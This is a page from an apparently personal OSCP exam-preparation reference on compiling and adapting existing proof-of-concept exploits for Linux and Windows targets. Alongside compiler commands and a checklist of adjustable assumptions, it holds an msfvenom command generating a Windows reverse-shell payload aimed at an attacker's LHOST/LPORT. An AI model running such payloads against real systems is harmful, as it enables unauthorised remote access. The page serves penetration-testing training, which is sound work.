Skip to content
leg3ndProjects & tools
01Home02Projects03Tools04Notes
GMT+8
O/ OSCP exploitation reference
Workspace controls Memory only · 0 steps
Visualize path ↗
Command values 0 filled

Temporary connection values clear on reload. Passwords, hashes and tickets remain placeholders. Check address-family syntax in the selected command.

Reference index ↗ Search all procedures & variants ↗
01Discovery02Enumeration03Initial access04Usable access05Local privilege06Active Directory07Internal access08Evidence & reporting

QUICK REFERENCE

Discovery›Services›Web mapping›Web exploitation›Credentials›Public exploits›Sessions & transfers›Linux escalation›Windows escalation›AD enumeration›AD identity attacks›Lateral movement›Pivoting & tunnels›Execution troubleshooting›Integration & evidence›
174 methods · 15 topicsFull reference on GitHub ↗Commands · scripts · next steps
Tools/OSCP/Initial access/Public exploits
← All public exploits tasks

Compile and minimally adapt an existing native or memory-corruption PoC

CommandsIf → thenExplanation & examples

Needs: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants

Linux/ELF program

# Linux/ELF program
gcc -Wall -Wextra exploit.c -o exploit
file exploit
ldd exploit
sha256sum exploit

32-bit output requires matching headers/libraries

# 32-bit output requires matching headers/libraries
gcc -m32 -Wall -Wextra exploit.c -o exploit32
file exploit32

# Windows PE from Kali
i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe
file exploit-x86.exe exploit-x64.exe

# Windows socket code commonly needs the Winsock import library
i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe -lws2_32
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe -lws2_32

# Change one assumption at a time and retain a diff
cp EXPLOIT_FILE EXPLOIT_FILE.orig
git diff --no-index -- EXPLOIT_FILE.orig EXPLOIT_FILE

Replace an embedded payload only when the PoC documents its constraints

AssumptionEvidence-backed edit
Target address/portObserved reachable endpoint
HTTP/HTTPS and base pathReproduced application request
Virtual host or Host headerResolved application identity
Username/password/cookieValid Block 5 authentication context
CSRF/session parsingActual request/response sequence
LHOST/LPORTAddress and listener reachable from the target context
Command or payloadTarget OS, interpreter, architecture, size and bad-character constraints
File path/nameWritable/executable target path and application behavior
Timeout/retryMeasured service behavior, not blind delay inflation

Do not combine prerequisite repair, payload replacement and parser rewrites in one unreviewable change.

Dedicated overflow development, offset drills and shellcode development are excluded from this speedrun. Use this section only to understand and adapt an existing PoC whose vulnerable build and assumptions are supported by evidence.

Replace an embedded payload only when the PoC documents its constraints:

# Replace an embedded payload only when the PoC documents its constraints
msfvenom -p windows/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f c -v payload \
  -b '\x00\x0a\x0d'

Verify → Verify artifact format, architecture, required runtime and actual exploit effect independently.

If it fails → A crash is not a shell; wrong ABI, mitigation/configuration or constants can invalidate a candidate. Return to its prerequisites rather than inventing an exploit-development exercise. More detail ↓

If → then

  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity

    Needs: A functioning execution primitive and an observable output or controlled side effect

  • An existing exploit/delivery primitive needs a binary or raw payload → Generate a payload matching OS, process, format and handler

    Needs: Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener

  • A downloaded/generated artifact exists but does not run → Match an artifact to its executable consumer and runtime

    Needs: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Compile and minimally adapt an existing native or memory-corruption PoC

USE WHEN
An existing C/C++ or platform-specific PoC matches the candidate
STARTING ACCESS
An identified component/build and a candidate exploit with reviewable source
RESULT
A compatible reviewed exploit artifact with evidence-backed parameter changes

Recognize the clue

Inspect the native PoC's documented target process, compiler flags, ABI and artifact before running it in a target context.

file COMPILED_ARTIFACT
uname -m
getconf LONG_BIT
SYNTHETIC EXAMPLE OUTPUT
Artifact: ELF 64-bit x86-64
PoC prerequisite: 32-bit target process

Means: An architecture/ABI mismatch explains a compatibility problem before exploit logic is evaluated.

Confirm: Confirm target process rather than just OS architecture, required libraries/loader and documented exploit-specific constraints.

After validation
A compatible reviewed artifact and exact target conditions exist: test its bounded effect.
Ruled out in this context
The target's architecture/mitigation assumptions do not match: reject that PoC route.
Still inconclusive
Compiler success alone leaves loader and exploit applicability unresolved.

Troubleshooting: A crash is not a shell; wrong ABI, mitigation/configuration or constants can invalidate a candidate. Return to its prerequisites rather than inventing an exploit-development exercise.

Additional prerequisite checks

file exploit.c
uname -m
file COMPILED_ARTIFACT

Linux/ELF program:

32-bit output requires matching headers/libraries:

Windows PE from Kali:

Windows socket code commonly needs the Winsock import library:

Failure cue: undefined references are linker evidence. Identify the missing symbol and documented library; do not delete calls until the binary compiles. Exec format error means the produced format/architecture cannot run in the current environment.

Change one assumption at a time and retain a diff:

Typical adaptations are:

AssumptionEvidence-backed edit
Target address/portObserved reachable endpoint
HTTP/HTTPS and base pathReproduced application request
Virtual host or Host headerResolved application identity
Username/password/cookieValid Block 5 authentication context
CSRF/session parsingActual request/response sequence
LHOST/LPORTAddress and listener reachable from the target context
Command or payloadTarget OS, interpreter, architecture, size and bad-character constraints
File path/nameWritable/executable target path and application behavior
Timeout/retryMeasured service behavior, not blind delay inflation

Do not combine prerequisite repair, payload replacement and parser rewrites in one unreviewable change.

Dedicated overflow development, offset drills and shellcode development are excluded from this speedrun. Use this section only to understand and adapt an existing PoC whose vulnerable build and assumptions are supported by evidence.

Review the PoC comments and code for:

  • exact vulnerable build and target architecture;
  • hard-coded target/callback address and port;
  • return address/module assumptions and target profiles;
  • recorded offset, available payload space and bad characters;
  • payload architecture, type and exit behavior;
  • crash/restart and reliability expectations.

Replace an embedded payload only when the PoC documents its constraints:

Use the PoC's actual bad-character and space requirements; the example list is not universal. A changed build, missing module, mitigation or misaligned offset invalidates the PoC and should not trigger a fresh exploit-development detour in this route.

Why it works

Compilation architecture and target process architecture must match the PoC's assumptions. Existing offsets, bad-character constraints or payload space are exploit-specific; dedicated exploit development is outside this preparation route.

Worked example · hypothetical

Observation: a reviewed PoC targets a 32-bit process on a 64-bit host. Test: verify its process and compiler requirements before building. Illustrative output: the correct architecture artifact loads while a native 64-bit build did not. Interpretation: now test the documented effect.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗
HomeProjectsToolsNotes
Interactive toolsOSCP notes ↗Extended OSCP workspace ↗Attack-path visualizer ↗

© 2026 Armaan. Built with curiosity.

GitHub ↗GMT+8